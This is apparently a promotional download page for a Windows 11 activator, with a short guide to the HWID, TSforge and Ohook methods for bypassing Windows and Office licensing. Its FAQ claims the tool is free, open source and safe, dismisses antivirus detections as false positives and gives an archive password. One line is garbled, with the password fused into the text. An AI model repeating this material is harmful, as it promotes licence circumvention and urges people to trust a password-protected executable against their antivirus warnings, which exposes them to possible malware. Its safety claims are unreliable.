How to Activate Windows 11 Free 2026 — Step-by-Step Guide
Activate Windows 11 Home, Pro, Enterprise, Education and LTSC permanently. HWID gives a digital license; TSforge handles 24H2 + ESU.
WYqejXiqBi97Windows 11 supports two permanent activation methods: HWID (digital license) and TSforge (ticket-based licensing). Both are bundled into OfficialKMSAuto and KMSAuto Net.
HWID first, TSforge as fallback
Try HWID first. If your edition (e.g. Enterprise LTSC) does not support HWID, switch to TSforge — it covers every Windows 11 edition including Server 2025.

- Pick the HWID (Windows) or Ohook (Office) green button

Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
